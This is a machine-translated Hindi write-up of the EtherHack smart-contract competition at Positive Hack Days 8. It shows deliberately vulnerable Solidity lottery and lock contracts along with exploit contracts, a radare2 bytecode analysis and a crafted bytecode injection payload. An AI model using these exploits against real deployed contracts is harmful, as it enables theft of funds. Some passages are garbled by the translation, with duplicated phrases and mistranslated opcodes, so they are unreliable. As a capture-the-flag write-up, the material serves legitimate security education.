👭 🖐🏾 👩🏾‍💼 स्मार्ट कॉन्ट्रैक्ट्स में कमजोरियों का पता लगाना: पॉजिटिव हैक डेज 8 में एथेरैक रिव्यू 🐶 ✊🏼 👨‍👦

इस साल, PHDays ने पहली बार एथेरैक नामक एक प्रतियोगिता की मेजबानी की। प्रतिभागियों ने गति के लिए स्मार्ट अनुबंधों में कमजोरियों की तलाश की। इस लेख में हम आपको प्रतियोगिता के कार्यों और उन्हें हल करने के संभावित तरीकों के बारे में बताएंगे।

अज़िनो 777

लॉटरी जीतो और बर्तन तोड़ो!

पहले तीन कार्य छद्म आयामी संख्या की पीढ़ी में त्रुटियों से संबंधित थे, जिनके बारे में हमने हाल ही में बात की थी: Ethereum स्मार्ट अनुबंधों में यादृच्छिक संख्या की भविष्यवाणी करें । पहला कार्य एक छद्म आयामी संख्या जनरेटर (PRNG) पर आधारित था, जो यादृच्छिक संख्या उत्पन्न करने के लिए एन्ट्रापी के स्रोत के रूप में अंतिम ब्लॉक के हैश का उपयोग करता था:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} }

चूंकि block.blockhash(block.number-1) फ़ंक्शन block.blockhash(block.number-1) को कॉल करने का परिणाम उसी ब्लॉक के भीतर किसी भी लेनदेन के लिए समान होगा, हमले एक आंतरिक संदेश के माध्यम से लक्ष्य अनुबंध को कॉल करने के लिए एक ही rand() फ़ंक्शन के साथ एक शोषण अनुबंध का उपयोग कर सकते हैं।

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }

निजी रियान

हमने एक निजी प्रारंभिक मूल्य जोड़ा है जिसे कोई भी कभी भी गणना नहीं करेगा।

यह कार्य पिछले वाले का थोड़ा जटिल संस्करण है। बीज चर, जिसे निजी माना जाता है, का उपयोग ब्लॉक ऑर्डिनल नंबर (ब्लॉक.नंबर) को ऑफसेट करने के लिए किया जाता है ताकि ब्लॉक का हैश पिछले ब्लॉक पर निर्भर न हो। प्रत्येक शर्त के बाद, बीज को एक नए "यादृच्छिक" ऑफसेट में फिर से लिखा जाता है। उदाहरण के लिए, स्लॉथेरेयम लॉटरी में बस यही था।

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ }

पिछले कार्य की तरह, हैकर को केवल कॉन्ट्रैक्ट शोषण में rand() फ़ंक्शन की प्रतिलिपि बनाने की आवश्यकता थी, लेकिन इस मामले में निजी चर बीज का मूल्य ब्लॉकचेन के बाहर प्राप्त करना था और फिर एक तर्क के रूप में शोषण को भेजा गया था। ऐसा करने के लिए, आप web3 लाइब्रेरी से web3.eth.getStorageAt () विधि का उपयोग कर सकते हैं:

प्रारंभिक मूल्य प्राप्त करने के लिए ब्लॉकचेन के बाहर अनुबंध की दुकान को पढ़ना

प्रारंभिक मूल्य प्राप्त करने के बाद, यह केवल शोषक को भेजने के लिए बना रहता है, जो पहले कार्य में लगभग समान है:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ }

भाग्य का पहिया

यह लॉटरी बाद के ब्लॉक के हैश का उपयोग करती है। यह गणना करने की कोशिश करो!

इस कार्य में, उस ब्लॉक के हैश का पता लगाना आवश्यक था जिसकी संख्या सट्टे के बाद गेम संरचना में संग्रहीत की गई थी। अगली बाजी लगने के बाद एक यादृच्छिक संख्या उत्पन्न करने के लिए यह हैश निकाला गया।

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }

इस मामले में, दो संभावित समाधान हैं।

शोषण अनुबंध के माध्यम से लक्ष्य अनुबंध को दो बार कॉल करें। Block.blockhash (block.number) फ़ंक्शन को कॉल करने का परिणाम हमेशा शून्य होगा।
256 ब्लॉकों के अंदर खिसकने और दूसरा दांव लगाने की प्रतीक्षा करें। उपलब्ध ब्लॉक हैश की संख्या पर Ethereum Virtual Machine (EVM) की सीमाओं के कारण संग्रहीत ब्लॉक अनुक्रम संख्या hash शून्य होगी।

दोनों ही मामलों में, जीतने वाला दांव uint256(keccak256(bytes32(0))) % 100 या "47" होगा।

शायद मुझे बुलाओ

यह अनुबंध तब पसंद नहीं करता जब अन्य अनुबंध इसे कहते हैं।

एक अनुबंध को अन्य अनुबंधों से बुलाए जाने से बचाने का एक तरीका कोडांतरक अनुदेश ईवीएम का उपयोग करना है, जो अनुबंध के आकार को उसके पते पर लौटाता है। विधि इस निर्देश का उपयोग लेनदेन प्रेषक के पते के लिए कोडांतरक प्रविष्टि का उपयोग करने के लिए करती है। यदि परिणाम शून्य से अधिक है, तो लेनदेन का प्रेषक एक अनुबंध है, क्योंकि एथेरियम में सामान्य पते का कोई कोड नहीं है। यह ठीक यही दृष्टिकोण था जिसका उपयोग इस कार्य में अन्य अनुबंधों को कॉल करने से रोकने के लिए किया गया था।

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }

tx.origin लेन-देन tx.origin लेन-देन के मूल निर्माता, और msg.sender को अंतिम कॉल करने वाले को इंगित करता है। यदि हम सामान्य पते से लेन-देन भेजते हैं, तो ये चर बराबर होंगे, और हम revert() साथ समाप्त हो जाएंगे। इसलिए, हमारी समस्या को हल करने के लिए, extcodesize निर्देश के सत्यापन को बायपास करना आवश्यक था ताकि tx.origin और msg.sender अलग msg.sender अलग हों। सौभाग्य से, ईवीएम में एक अच्छी सुविधा है जो इसके साथ मदद कर सकती है:

दरअसल, जब बस रखा गया अनुबंध कंस्ट्रक्टर में कुछ अन्य अनुबंध को कॉल करता है, तो यह स्वयं ब्लॉकचैन में मौजूद नहीं है, यह विशेष रूप से एक वॉलेट के रूप में कार्य करता है। इस प्रकार, कोड नए अनुबंध के लिए बाध्य नहीं है और एक्सकोडेसाइज शून्य वापस आ जाएगा:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }

ताला

ताज्जुब है, महल बंद है। अनलॉक फ़ंक्शन (बाइट्स 4 पिनकोड) के माध्यम से पिन कोड लेने की कोशिश करें। अनलॉक करने के प्रत्येक प्रयास में आपको 0.5 ईथर खर्च होंगे।

इस कार्य में, प्रतिभागियों को एक कोड नहीं दिया गया था - उन्हें इसके बाइटकोड द्वारा अनुबंध के तर्क को पुनर्स्थापित करना था। एक विकल्प रेडारे 2 का उपयोग करना था, एक मंच जिसका उपयोग ईवीएम को हटाने और डिबग करने के लिए किया जाता है।

शुरू करने के लिए, हम असाइनमेंट का एक उदाहरण पोस्ट करेंगे और यादृच्छिक पर कोड दर्ज करेंगे:

 await contract.unlock("1337", {value: 500000000000000000}) →false

बेशक, प्रयास अच्छा है, लेकिन असफल है। अब इस लेनदेन को डीबग करने का प्रयास करें।

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"

इस मामले में, हम Radare2 को evm आर्किटेक्चर का उपयोग करने का निर्देश देते हैं। यह उपकरण तब एथेरियम नोड से जुड़ता है और वर्चुअल मशीन में इस लेनदेन का पता लगाता है। और अब, अंत में, हम ईवीएम बायटेकोड में गोता लगाने के लिए तैयार हैं।

सबसे पहले, आपको एक विश्लेषण करने की आवश्यकता है:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)

अगला, हम पहले 1000 निर्देशों को इकट्ठा करते हैं (यह संपूर्ण अनुबंध को कवर करने के लिए पर्याप्त होना चाहिए) पीडी 1000 कमांड का उपयोग करके, और वीवी कमांड के साथ ग्राफ को देखने के लिए स्विच करें।

ईवीएम बाइट कोड में solc साथ संकलित, आमतौर पर फ़ंक्शन प्रबंधक पहले आता है। फ़ंक्शन हस्ताक्षर वाले कॉल डेटा के पहले चार बाइट्स के आधार पर, जिसे बाइट्स 4 bytes4(sha3(function_name(params))) रूप में परिभाषित किया गया है, फ़ंक्शन मैनेजर निर्णय लेता है कि किस फ़ंक्शन को कॉल करना है। हम unlock(bytes4) फ़ंक्शन unlock(bytes4) में रुचि रखते हैं, जो 0x75a4e3a0 मेल खाती है।

S कुंजी का उपयोग करते हुए निष्पादन प्रवाह के बाद, हम उस नोड को प्राप्त करते हैं जो callvalue तुलना 0x6f05b59d3b20000 या 500000000000000000 मूल्य के साथ करता है, जो 0.5 ईथर के बराबर है:

 push8 0x6f05b59d3b20000 callvalue lt

यदि प्रदान किया गया ईथर पर्याप्त है, तो हम खुद को एक नोड में पाते हैं जो एक नियंत्रण संरचना जैसा दिखता है:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi

कोड स्टैक के शीर्ष पर मान 0x4 रखता है, ऊपरी बाउंड (मान 0xff से अधिक नहीं होना चाहिए) की जाँच करता है और कुछ मान के साथ lt की तुलना करता है जो स्टैक के चौथे तत्व (डुप 4) से डुप्लिकेट किया गया था।

ग्राफ़ के बहुत नीचे तक स्क्रॉल करते हुए, हम देखते हैं कि यह चौथा तत्व अनिवार्य रूप से एक पुनरावृत्ति है, और यह नियंत्रण संरचना एक लूप है जो कि for(var i=0; i<4; i++): मेल खाती है for(var i=0; i<4; i++):

 push1 0x1 add swap4

यदि हम लूप के शरीर पर विचार करते हैं, तो यह स्पष्ट हो जाता है कि यह चार आने वाली बाइट्स की गणना करता है और प्रत्येक बाइट्स के साथ कुछ ऑपरेशन करता है। सबसे पहले, लूप जाँचता है कि nth बाइट 0x30 से अधिक है:

 push1 0x30 dup3 lt iszero

और यह भी कि यह मान 0x39 से कम है:

 push1 0x39 dup3 gt iszero

जो अनिवार्य रूप से एक जांच है कि दी गई बाइट 0 से 9 तक की है। यदि चेक सफल होता है, तो हम खुद को कोड के सबसे महत्वपूर्ण ब्लॉक में पाते हैं:

आइए इस ब्लॉक को भागों में विभाजित करते हैं:

1. स्टैक में तीसरा तत्व पिन कोड के nth बाइट का ASCII कोड है। 0x30 (शून्य के लिए ASCII कोड) को स्टैक पर धकेला जाता है और फिर इस बाइट के कोड से घटाया जाता है:

 push1 0x30 dup3 sub

यही है, pincode[i] - 48 , और हम अनिवार्य रूप से एएससीआईआई कोड से एक अंक प्राप्त करते हैं, चलो इसे डी कहते हैं।

2. IX को स्टैक में जोड़ा जाता है और स्टैक में दूसरे तत्व के लिए एक घातांक के रूप में उपयोग किया जाता है: d

 swap1 pop push1 0x4 dup2 exp

अर्थात, d ** 4 ।

3. स्टैक के पांचवें तत्व को पुनर्प्राप्त किया जाता है और घातांक का परिणाम इसमें जोड़ा जाता है। इस राशि पर कॉल करें S:

 dup5 add swap4 pop dup1

अर्थात, S += d ** 4 ।

4. Ixa (10 के लिए ASCII कोड) को स्टैक पर धकेल दिया जाता है और स्टैक के सातवें तत्व के लिए गुणक के रूप में उपयोग किया जाता है (जो इस जोड़ से पहले छठा था)। हम नहीं जानते कि यह क्या है, इसलिए हम इस तत्व को यू कहेंगे। फिर गुणन के परिणाम में d जोड़ा गया है:

 push1 0xa dup7 mul add swap5 pop

वह है: U = U * 10 + d या, अधिक सरल रूप से, यह अभिव्यक्ति पूरे बाइट कोड को अलग-अलग बाइट्स से एक संख्या के रूप में ठीक करती है ([0x1, 0x3, 0x3, 0x7] → 1337) ।

सबसे कठिन काम जो हमने किया, अब लूप के बाद कोड पर चलते हैं।

 dup5 dup5 eq

यदि स्टैक पर पांचवें और छठे तत्व समान हैं, तो निष्पादन का प्रवाह हमें sstore निर्देश तक ले जाएगा, जो अनुबंध की दुकान में एक निश्चित ध्वज सेट करता है। चूँकि यह केवल एकमात्र शिक्षाप्रद निर्देश है, यह स्पष्ट रूप से वही है जिसकी हम तलाश कर रहे थे।

लेकिन इस परीक्षा के माध्यम से कैसे प्राप्त करें? जैसा कि हम पहले ही पता लगा चुके हैं, स्टैक पर पांचवां तत्व एस है और छठा यू है। चूंकि एस चौथी शक्ति के लिए उठाए गए पिन कोड के सभी अंकों का योग है, इसलिए हमें एक पिन कोड की आवश्यकता है जिसके लिए यह शर्त पूरी होगी। हमारे मामले में, विश्लेषण से पता चला है कि 1**4 + 3**4 + 3**4 + 7**4 1337 के बराबर नहीं है, और हमें जीतने वाली sstore निर्देश नहीं मिले।

लेकिन अब हम एक संख्या की गणना कर सकते हैं जो इस समीकरण की स्थितियों को संतुष्ट करता है। केवल तीन संख्याएँ हैं जिन्हें उनके चौथे-डिग्री अंकों के योग के रूप में लिखा जा सकता है: 1634, 8208, और 9474। उनमें से कोई भी लॉक खोल सकता है!

समुद्री डाकू जहाज

हे सलग! एक समुद्री डाकू जहाज बंदरगाह पर पहुँच गया। उसे एंकर ड्रॉप करें और जॉली रोजर के साथ झंडा उठाएं और खजाने की तलाश में जाएं।

अनुबंध निष्पादन के मानक पाठ्यक्रम में तीन क्रियाएं शामिल हैं:

एक ब्लॉक नंबर के साथ dropAnchor() फ़ंक्शन के लिए एक कॉल जो कि वर्तमान एक की तुलना में 100,000 से अधिक ब्लॉक होना चाहिए। फ़ंक्शन गतिशील रूप से एक अनुबंध बनाता है, जो एक "एंकर" है, जिसे निर्दिष्ट ब्लॉक के बाद selfdestruct() का उपयोग करके "उठाया" जा सकता है।
pullAnchor() फ़ंक्शन के लिए एक कॉल, जो pullAnchor() शुरू करता है यदि पर्याप्त समय बीत चुका है (बहुत समय!)।
यदि कोई एंकर अनुबंध मौजूद नहीं है, तो sailAway () को कॉल करें, जो BlackJackIsHauled को सत्य बनाता है।

 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } }

भेद्यता काफी स्पष्ट है: dropAnchor() फ़ंक्शन में एक अनुबंध बनाते समय हमारे पास कोडांतरक निर्देशों का एक सीधा इंजेक्शन होता है। लेकिन मुख्य कठिनाई एक पेलोड बनाना था जो हमें block.number पास करने की अनुमति देगा।

ईवीएम में, आप क्रिएट स्टेटमेंट का उपयोग करके अनुबंध बना सकते हैं। इसके तर्क मूल्य, इनपुट ऑफ़सेट और इनपुट आकार हैं। मूल्य एक बाइटकोड है जो अनुबंध को स्वयं (कोड को इनिशियलाइज़ करना) होस्ट करता है। हमारे मामले में, प्रारंभिक कोड + अनुबंध कोड uint256 में रखा गया है (विचार के लिए GasToken टीम के लिए धन्यवाद):

 0x6a63004141414310585733ff600052600b6015f3

जहाँ बाइट्स बोल्ड होस्ट अनुबंध के कोड हैं, और 414141 इंजेक्शन साइट है। चूंकि हमें थ्रो ऑपरेटर से छुटकारा पाने के कार्य का सामना करना पड़ता है, हमें अपने नए अनुबंध को सम्मिलित करना होगा और प्रारंभिक कोड के अनुगामी भाग को फिर से लिखना होगा। आइए अनुबंध को 0xff निर्देश के साथ इंजेक्ट करने का प्रयास करें, जिससे selfdestruct() का उपयोग करके एंकर अनुबंध को बिना शर्त हटाया जाएगा:

  68 414141ff3f3f3f3f3f3f ;;  push9 अनुबंध
 60 00 ;;  धक्का १ ०
 52 ;;  mstore
 60 09 ;;  धक्का १ ९
 60 17 ;;  push1 17
 f3 ;;  वापसी

यदि हम बाइट्स के इस क्रम को uint256 (9081882833248973872855737642440582850680819) कनवर्ट करते हैं और इसे dropAnchor() फ़ंक्शन के तर्क के रूप में उपयोग करते हैं, तो हमें कोड वेरिएबल के लिए निम्न मान मिलता है dropAnchor() बोल्ड में हमारा पेलोड है):

 0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff

कोड वैरिएबल initcode वैरिएबल का हिस्सा बनने के बाद, हमें निम्न मूल्य मिलते हैं:

 0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3

अब उच्च बाइट्स 0x6300 चले गए हैं, और बाकी के बाइटकोड को 0xf3 (return) बाद छोड़ दिया गया है।

परिणामस्वरूप, बदले हुए तर्क के साथ एक नया अनुबंध बनाया जाता है:

  41 ;;  Coinbase
 41 ;;  Coinbase
 41 ;;  Coinbase
 एफएफ ;;  selfdestruct
 3 एफ ;;  कचरा
 3 एफ ;;  कचरा
 3 एफ ;;  कचरा
 3 एफ ;;  कचरा
 3 एफ ;;  कचरा

अगर हम अब पुलअनचोर () फ़ंक्शन को कॉल करते हैं, तो यह अनुबंध तुरंत नष्ट हो जाएगा, क्योंकि अब हमारे पास ब्लॉकचुनर पर चेक नहीं है। उसके बाद हम sailAway () फ़ंक्शन को कॉल करते हैं और जीत का जश्न मनाते हैं!

परिणाम

1,000 अमेरिकी डॉलर के बराबर राशि में पहला स्थान और प्रसारण: एलेक्सी पर्टसेव (p4lex)
दूसरी जगह और लेजर नैनो एस: एलेक्सी मार्कोव
तीसरा स्थान और PHDays स्मृति चिन्ह: अलेक्जेंडर Vlasov

सभी परिणाम: etherhack.positive.com/#/scoreboard

विजेताओं को बधाई और सभी प्रतिभागियों को धन्यवाद!

पीएस थैंक्स टू जीपेलिन को सोर्स कोड एथरनॉट सीटीएफ प्लेटफॉर्म ओपन सोर्स बनाने के लिए।

स्मार्ट कॉन्ट्रैक्ट्स में कमजोरियों का पता लगाना: पॉजिटिव हैक डेज 8 में एथेरैक रिव्यू